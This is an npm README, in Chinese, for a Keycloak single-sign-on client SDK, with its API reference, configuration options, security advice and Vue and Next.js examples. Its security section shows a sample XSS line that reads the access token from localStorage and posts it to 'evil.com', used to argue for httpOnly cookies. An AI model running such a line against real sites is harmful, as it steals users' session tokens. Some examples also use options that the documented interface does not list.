@xllentai/sso-client
v0.1.15
Published
Xllent SSO 前端客户端 SDK(占位版)
Readme
@xllentai/sso-client
Xllent 平台前端 SSO SDK,提供开箱即用的 Keycloak 单点登录集成能力。
✨ 特性
- 🚀 开箱即用 - 仅需 12 行代码即可完成集成
- 🔒 安全可靠 - 自动处理 Token 存储、URL 清理、CSRF 防护
- 🎯 TypeScript 优先 - 完整的类型定义,智能提示友好
- 🌍 环境通用 - 同时支持浏览器和 Node.js 环境
- ⚡ 轻量灵活 - 零外部依赖,支持自定义存储和请求库
- 🧪 测试完备 - 核心功能单元测试覆盖
📦 安装
# npm
npm install @xllentai/sso-client
# pnpm
pnpm add @xllentai/sso-client
# yarn
yarn add @xllentai/sso-client🚀 快速开始
1. 创建客户端实例
import { XllentSSOClient } from '@xllentai/sso-client';
export const ssoClient = new XllentSSOClient({
appWebsiteUrl: 'https://portal.example.com',
keycloakUrl: 'https://sso.example.com',
keycloakRealm: 'account',
keycloakClientId: 'portal',
xllentUserServiceUrl: 'https://user-service.example.com',
});2. 实现登录流程
// 登录页面:跳转到 Keycloak
async function handleLogin() {
await ssoClient.login(); // 自动跳转到 Keycloak 登录页
}
// 新流程由应用后端回调 Portal API,不再需要前端手动处理 temp_token。
// 如需兼容旧版本,可保留 handleLoginCallback(),但默认无需调用。
// 任意页面:获取用户信息
async function loadUserInfo() {
const user = await ssoClient.getUserInfo();
if (user) {
console.log('当前用户:', user);
}
}
// 登出
async function handleLogout() {
await ssoClient.logout(); // 自动跳转到 Keycloak 登出页
}3. 路由守卫示例(Vue Router)
import { ssoClient } from './sso/client';
router.beforeEach(async (to, from, next) => {
// 处理登录回调
if (to.query.temp_token) {
const session = await ssoClient.handleLoginCallback(to.fullPath);
if (session) {
return next({ path: to.path, query: {} }); // 清除URL参数
}
}
// 检查登录状态
const isAuthenticated = await ssoClient.isAuthenticated();
if (to.meta.requiresAuth && !isAuthenticated) {
await ssoClient.login(); // 未登录则跳转登录
} else {
next();
}
});📖 核心功能
登录相关
login(options?): Promise<string>
跳转到 Keycloak 登录页面。
// 自动跳转(默认)
await ssoClient.login();
// 仅获取登录URL,不跳转
const loginUrl = await ssoClient.login({ redirect: false });
console.log('登录URL:', loginUrl);handleLoginCallback(url?): Promise<SessionResult | null>
处理 Keycloak 登录回调,兑换临时 Token 为正式 Session。
// 浏览器环境(自动从 window.location 读取)
const session = await ssoClient.handleLoginCallback();
// Node.js 环境或手动指定URL
const session = await ssoClient.handleLoginCallback(
'https://app.example.com/callback?temp_token=abc123'
);
if (session) {
console.log('Session ID:', session.sessionId);
console.log('用户信息:', session.user);
console.log('租户ID:', session.tenantId);
}返回值 SessionResult:
interface SessionResult {
user: SessionUser; // 用户信息
tenantId: string; // 租户ID
sessionId: string; // Session ID (jti)
accessToken?: string; // 访问令牌
refreshToken?: string; // 刷新令牌
expiresIn?: number; // 过期时间(秒)
}logout(options?): Promise<string>
登出并跳转到 Keycloak 登出页面。
// 自动跳转并清除本地缓存
await ssoClient.logout();
// 仅获取登出URL,不跳转
const logoutUrl = await ssoClient.logout({ redirect: false });用户信息
getUserInfo(forceRefresh?): Promise<SessionUser | null>
获取当前登录用户信息。
// 优先从缓存读取
const user = await ssoClient.getUserInfo();
// 强制从服务器刷新
const freshUser = await ssoClient.getUserInfo(true);
console.log(user?.username);
console.log(user?.email);返回值 SessionUser:
interface SessionUser {
id: string; // 用户ID
username: string; // 用户名
email?: string; // 邮箱
realName?: string; // 真实姓名
name?: string; // 显示名称
avatar?: string; // 头像URL
authUserId?: string; // Keycloak用户ID
[key: string]: unknown; // 扩展字段
}isAuthenticated(): Promise<boolean>
检查用户是否已登录。
const isLoggedIn = await ssoClient.isAuthenticated();
if (isLoggedIn) {
console.log('用户已登录');
} else {
console.log('用户未登录');
}Session 管理
refreshSession(): Promise<{ accessToken: string; expiresIn: number } | null>
刷新 Session,获取新的 Access Token。
const newToken = await ssoClient.refreshSession();
if (newToken) {
console.log('新Token:', newToken.accessToken);
console.log('过期时间:', newToken.expiresIn, '秒');
}getCachedAccessToken(): string | null
获取缓存的 Access Token(不发起请求)。
const token = ssoClient.getCachedAccessToken();
if (token) {
// 使用token调用API
fetch('/api/data', {
headers: { Authorization: `Bearer ${token}` }
});
}getCachedAccessTokenExpiry(): number | null
获取 Access Token 的过期时间戳(毫秒)。
const expiry = ssoClient.getCachedAccessTokenExpiry();
if (expiry && Date.now() < expiry) {
console.log('Token有效');
} else {
console.log('Token已过期,需要刷新');
}clearCache(): void
清除本地缓存的用户信息和 Token。
// 通常在登出时调用(logout()方法会自动调用)
ssoClient.clearCache();高级功能
exchangeTempToken(tempToken): Promise<SessionResult>
手动兑换临时 Token(通常由 handleLoginCallback 内部调用)。
const session = await ssoClient.exchangeTempToken('temp-abc123');getLoginUrl(): Promise<string>
获取 Keycloak 登录 URL(不跳转)。
const loginUrl = await ssoClient.getLoginUrl();
console.log('请访问:', loginUrl);⚙️ 配置选项
XllentSSOClientOptions
interface XllentSSOClientOptions {
/** 应用网站基础地址(可选,用于登出回调等场景) */
appWebsiteUrl?: string;
/** Keycloak 服务器地址(可选,用于构建 OAuth URL) */
keycloakUrl?: string;
/** Keycloak Realm(默认: account) */
keycloakRealm?: string;
/** OAuth 客户端ID(默认: portal) */
keycloakClientId?: string;
/** User-Service 地址(可选,用于构建 redirect_uri) */
xllentUserServiceUrl?: string;
/** 自定义存储适配器(默认: localStorage 或 MemoryStorage) */
storage?: StorageAdapter;
}
> ⚠️ **OAuth 回调必读**:回调地址已由 User-Service 的 `.config/oauth-clients.json` 统一管理,SDK 会直接将 `state` 设置为 `keycloakClientId`。请确保:
> 1. `.config/oauth-clients.json` 中的各客户端配置包含正确的 `redirectUrl`(应用后端回调接口)。
> 2. 前端传入的 `keycloakClientId` 与配置文件中的键值保持一致,以便 User-Service 拉取正确的 `clientSecret` 与回调地址。自定义存储示例
import { XllentSSOClient, type StorageAdapter } from '@xllentai/sso-client';
// 示例1: 使用 sessionStorage
const sessionStorageAdapter: StorageAdapter = {
get: (key) => sessionStorage.getItem(key),
set: (key, value) => sessionStorage.setItem(key, value),
remove: (key) => sessionStorage.removeItem(key),
};
// 示例2: 内存存储(适用于服务端渲染)
const memoryStorage = new Map<string, string>();
const memoryAdapter: StorageAdapter = {
get: (key) => memoryStorage.get(key) ?? null,
set: (key, value) => memoryStorage.set(key, value),
remove: (key) => memoryStorage.delete(key),
};
// 示例3: 不存储Token(仅依赖Cookie)
const noCacheAdapter: StorageAdapter = {
get: () => null,
set: () => {},
remove: () => {},
};
const client = new XllentSSOClient({
apiBaseUrl: 'https://api.example.com',
storage: noCacheAdapter, // 使用自定义存储
});🔒 安全最佳实践
⚠️ localStorage 的 XSS 风险
问题: 默认情况下,SDK 将 accessToken 存储在 localStorage 中,存在 XSS 攻击风险。
风险场景:
// 攻击者注入的恶意脚本可以读取localStorage
const token = localStorage.getItem('xllent_sso_access_token');
// 将token发送到攻击者服务器
fetch('https://evil.com/steal', { method: 'POST', body: token });✅ 推荐方案
方案1: 仅依赖 httpOnly Cookie(推荐)
后端将 Session JWT 存储在 httpOnly Cookie 中,前端不存储任何敏感信息。
const ssoClient = new XllentSSOClient({
apiBaseUrl: 'https://api.example.com',
storage: {
get: () => null, // 不读取token
set: () => {}, // 不存储token
remove: () => {}, // 不删除token
},
});
// 所有请求自动携带 Cookie
// fetch('/api/data', { credentials: 'include' });优点:
- ✅ 防止 XSS 攻击窃取 Token
- ✅ 后端可控 Session 生命周期
缺点:
- ⚠️ 跨域需要配置 CORS 允许凭证
- ⚠️ 移动端 WebView 可能有 Cookie 限制
方案2: 使用 IndexedDB 加密存储
// 需自行实现 IndexedDB 加密存储
import { encryptedIndexedDBStorage } from './storage';
const ssoClient = new XllentSSOClient({
apiBaseUrl: 'https://api.example.com',
storage: encryptedIndexedDBStorage,
});🛡️ 其他安全建议
启用 Content Security Policy (CSP)
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self' 'unsafe-inline'">使用 HTTPS
- 生产环境必须使用 HTTPS
- 防止中间人攻击窃取 Token
设置合理的 Token 过期时间
- Access Token: 15分钟 - 1小时
- Session: 7天 - 30天
实现 Token 自动刷新
// 在请求拦截器中检查Token过期时间 const expiry = ssoClient.getCachedAccessTokenExpiry(); if (expiry && Date.now() > expiry - 5 * 60 * 1000) { // 提前5分钟刷新 await ssoClient.refreshSession(); }
❓ 常见问题
Q: 如何在 Axios 拦截器中使用?
import axios from 'axios';
import { ssoClient } from './sso/client';
axios.interceptors.request.use(async (config) => {
// 方案1: 从缓存读取Token
const token = ssoClient.getCachedAccessToken();
if (token) {
config.headers.Authorization = `Bearer ${token}`;
}
// 方案2: 依赖Cookie(推荐)
config.withCredentials = true;
return config;
});
axios.interceptors.response.use(
(response) => response,
async (error) => {
// Token过期,自动刷新
if (error.response?.status === 401) {
const newToken = await ssoClient.refreshSession();
if (newToken) {
// 重试原请求
error.config.headers.Authorization = `Bearer ${newToken.accessToken}`;
return axios.request(error.config);
} else {
// 刷新失败,跳转登录
await ssoClient.login();
}
}
return Promise.reject(error);
}
);Q: 如何在 Next.js 中使用?
// lib/sso-client.ts
import { XllentSSOClient } from '@xllentai/sso-client';
export const ssoClient = new XllentSSOClient({
apiBaseUrl: process.env.NEXT_PUBLIC_API_URL!,
fetcher: fetch, // Next.js 自带 fetch polyfill
});
// pages/login.tsx
export default function Login() {
const handleLogin = async () => {
await ssoClient.login();
};
return <button onClick={handleLogin}>登录</button>;
}
// pages/callback.tsx (App Router)
'use client';
import { useEffect } from 'react';
import { useRouter } from 'next/navigation';
import { ssoClient } from '@/lib/sso-client';
export default function Callback() {
const router = useRouter();
useEffect(() => {
ssoClient.handleLoginCallback().then((session) => {
if (session) {
router.push('/dashboard');
}
});
}, [router]);
return <div>登录中...</div>;
}Q: 如何处理多租户?
// Session中包含 tenantId
const session = await ssoClient.handleLoginCallback();
if (session) {
const tenantId = session.tenantId;
// 根据租户ID配置应用
setupTenantConfig(tenantId);
// 或存储到全局状态
store.commit('setTenant', tenantId);
}Q: 如何在单元测试中 Mock?
import { vi } from 'vitest';
import { XllentSSOClient } from '@xllentai/sso-client';
// Mock fetch
const mockFetch = vi.fn();
const client = new XllentSSOClient({
apiBaseUrl: 'https://test.com',
fetcher: mockFetch as any,
storage: {
get: vi.fn(),
set: vi.fn(),
remove: vi.fn(),
},
});
// 测试
test('获取用户信息', async () => {
mockFetch.mockResolvedValue(
new Response(JSON.stringify({ data: { id: '1', username: 'test' } }))
);
const user = await client.getUserInfo();
expect(user?.username).toBe('test');
});Q: 为什么有时登录后立即检查 isAuthenticated() 返回 false?
这通常是因为:
- Cookie 还未设置完成(跨域情况)
- 网络延迟导致状态检查先于 Session 创建完成
解决方案:
// 登录回调时,优先使用返回值判断
const session = await ssoClient.handleLoginCallback();
if (session) {
// ✅ 确定已登录,无需再调用 isAuthenticated()
router.push('/dashboard');
}
// 或者使用缓存的用户信息
const user = ssoClient.getCachedUser();
if (user) {
// ✅ 本地缓存有用户信息,说明已登录
}📚 完整示例
Vue 3 + Vite 完整集成
// src/sso/client.ts
import { XllentSSOClient } from '@xllentai/sso-client';
export const ssoClient = new XllentSSOClient({
apiBaseUrl: import.meta.env.VITE_API_URL,
});
// src/router/index.ts
import { createRouter, createWebHistory } from 'vue-router';
import { ssoClient } from '@/sso/client';
const router = createRouter({
history: createWebHistory(),
routes: [
{
path: '/login',
component: () => import('@/views/Login.vue'),
},
{
path: '/callback',
component: () => import('@/views/Callback.vue'),
},
{
path: '/dashboard',
component: () => import('@/views/Dashboard.vue'),
meta: { requiresAuth: true },
},
],
});
router.beforeEach(async (to, from, next) => {
// 处理回调
if (to.query.temp_token) {
const session = await ssoClient.handleLoginCallback(to.fullPath);
if (session) {
return next({ path: to.path, replace: true, query: {} });
}
}
// 需要登录的页面
if (to.meta.requiresAuth) {
const isAuth = await ssoClient.isAuthenticated();
if (!isAuth) {
await ssoClient.login();
return;
}
}
next();
});
export default router;
// src/views/Login.vue
<template>
<button @click="handleLogin">使用 Keycloak 登录</button>
</template>
<script setup lang="ts">
import { ssoClient } from '@/sso/client';
const handleLogin = async () => {
await ssoClient.login();
};
</script>
// src/views/Dashboard.vue
<template>
<div>
<h1>欢迎, {{ user?.username }}</h1>
<button @click="handleLogout">登出</button>
</div>
</template>
<script setup lang="ts">
import { ref, onMounted } from 'vue';
import { ssoClient } from '@/sso/client';
const user = ref();
onMounted(async () => {
user.value = await ssoClient.getUserInfo();
});
const handleLogout = async () => {
await ssoClient.logout();
};
</script>🔗 相关链接
📄 许可证
MIT License
维护团队: Xllent Platform Team 问题反馈: GitHub Issues
